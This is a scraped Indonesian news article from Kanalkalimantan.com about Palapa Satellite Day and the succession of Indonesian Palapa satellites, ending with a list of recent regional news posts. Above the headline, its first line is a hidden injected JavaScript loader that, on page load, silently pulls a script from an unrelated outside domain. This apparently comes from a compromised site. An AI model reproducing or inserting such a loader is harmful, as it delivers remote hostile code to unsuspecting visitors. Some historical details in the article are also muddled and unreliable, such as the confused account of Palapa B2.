(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Sejarah Hari Satelit Palapa 9 Juli


KANALKALIMANTAN.COM – Satelit berasal dari bahasa latin satelles, pelayan atau orang yang melayani. Dalam sains, satelit diartikan sebagai benda yang bergerak mengitari benda lain yang lebih besar di dalam orbit di luar angkasa.

Terdapat satelit yang diciptakan manusia untuk membantu berbagai hal. Di Indonesia, ada Satelit Palapa yang merupakan satelit telekomunikasi pertama milik Indonesia yang pertama kali mengorbit pada 9 Juli 1976.

Proyek Satelit Palapa, dibangun oleh pemerintah Indonesia di masa presiden Soeharto, untuk mempermudah akses komunikasi di wilayah Indonesia yang memiliki banyak pulau.

Penamaan satelit milik Indonesia, dengan nama Satelit Palapa dipilih oleh Soeharto untuk mengenang sumpah yang diikrarkan Gajah Mada, yakni Sumpah Palapa pada tahun 1334 untuk menyatukan Nusantara.

 

 

Baca juga: Kenali Sapi dan Kambing Kurban Sehat, Ini Ciri-cirinya

Dengan nama Satelit Palapa, diharapkan bisa menyatukan Indonesia yang merupakan kelanjutan dari Nusantara di era modern.

 

Sejarah Hari Satelit Palapa

Peringatan Hari Satelit Palapa di Indonesia dilakukan setiap tanggal 9 Juli. Tanggal tersebut merupakan hari diluncurkannya satelit pertama milik Indonesia, yakni Satelit Palapa A1 pada 9 Juli 1976.

Dalam artikel Sejarah Satelit Palapa: Maninan Soeharto, Kebanggaan Orde Baru, yang ditulis Petrik Matanasi, Klaus G. Johannsen, menyebut peluncuran Satelit Palapa, merupakan peristiwa nasional yang memiliki arti besar untuk Indonesia.

Hal tersebut tidak terlepas dari keterlibatan banyak pejabat di pemerintahan untuk menyukseskan proyek tersebut. Karena Satelit Palapa tidak hanya menjadi upaya mempermudah komunikasi masyarakat Indonesia, tetapi juga gengsi nasional.

Peluncuran Satelit Palapa akhirnya dilakukan pada di Florida, Amerika Serikat pada 8 Juli 1976 pukul 19.31 waktu setempat, atau 9 Juli 1976 pukul 06.31 waktu Indonesia dari Kennedy Space Center, Tanjung Canaveral, Amerika Serikat, kemudian dilepas di atas Samudera Hindia pada 83 derajat Bujur Timur (BT).

Peluncuran Satelit Palapa A1 dilakukan menggunakan roket peluncur Delta 2914 buatan McDonnell Douglas. Satelit Palapa A1 mengorbit mulai 1976-1983, dan digantikan Satelit Palapa A2 pada 1977.

 

Regenerasi Satelit Palapa

Dikutip dari Bakti Kominfo, pemerintah Indonesia telah melakukan regenerasi satelit sebanyak 9 kali sejak peluncuran yang pertama.

Satelit Palapa A1 (1976-1983)

Satelit Palapa A1 memiliki berat mencapai 574kg, tinggi 3,7 meter serta diameter 1,9 meter dan antena berdiameter 1,5 meter. Satelit ini didesain untuk mengoptimalkan pancaran sinyal ke seluruh Nusantara dan beberapa negara tetangga seperti Malaysia, Singapura, Thailand dan Filipina.

Baca juga: Daging Sapi Bertahan Rp 160 per Kg, Dulu Potong Satu Sapi Sekarang Patungan

Satelit Palapa A1 berada di bawah pengawasan Perumtel yang sekarang berganti nama menjadi Telkom untuk sistem komunikasi, siaran TVRI dan Kemenhankam.

Satelit Palapa A2 (1977-1987)

Satelit Palapa A2 sebenarnya adalah satelit cadangan yang disiapkan apabila satelit A1 mengalami kegagalan. Diluncurkan dengan roket yang sama dengan Palapa A1 yaitu roket Delta 2914 pada bulan Maret 1977.

Satelit Palapa B1 (1983-1990)

Pemerintah Indonesia selanjutnya meluncurkan Satelit Palapa B1 melalui pesawat STS misi ke 7 Challenger pada tanggal 18 Juni 1983. Saat itu, satelit tersebut diharapkan mampu memenuhi kebutuhan telekomunikasi negara-negara ASEAN.

Satelit Palapa B2 (1984-gagal)

Setelah meluncurkan Satelit Palapa B2, pemerintah Indonesia selanjutnya meluncurkan plan B dari Palapa B1. Namun, satelit cadangan tersebut justru mengalami kegagalan saat diluncurkan.

Satelit Palapa B2P (1987-1996)

Pada tanggal 20 Maret 1987 Satelit B2P diluncurkan secara konvensional melalui sistem roket seperti halnya satelit A-1 dan A-2.

Satelit Palapa B2R (1990-2000)

Pada tanggal 13 April 1990 dilakukan perbaikan pada Satelit Palapa B2. Dalam proyek ini Sattel Technologies ditunjuk sebagai pelaksana. Satelit ini diluncurkan melalui Delta 6925 dan dinamakan Satelit Palapa B2R.

Satelit Palapa B4 (1992-2005)

Pada 14 Mei 1992, Satelit Palapa kembali diperbarui dengan diluncurkannya Palapa B4 dan mengudara hingga tahun 2005.

Baca juga: Terancam Penjara 15 Tahun, Pemuda di Kusan Hilir ‘Makan’ Ponakan Sendiri

Satelit Palapa C1 (1996-1999) dan Satelit Palapa C2 (1996-2011)

Pada tahun 1996 Satelit Palapa C diluncurkan dan untuk pertama kalinya pengoperasian Satelit Palapa dilakukan di dalam negeri oleh perusahaan Satelindo, yang sekarang berganti nama menjadi Indosat.

Satelit Palapa D (2009-2024)

Pembaruan Satelit Palapa yang terakhir dilakukan pada 2009, dengan nama Satelit Palapa D. Satelit ini dibuat oleh thales Alenia space di Prancis, dengan komponen platform SpaceBus 4000-B3 satelit ini mencakup Asia, Asia Tenggara dan seluruh Indonesia. (Kanalkalimantan.com/kk)

Editor : kk


Risa

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.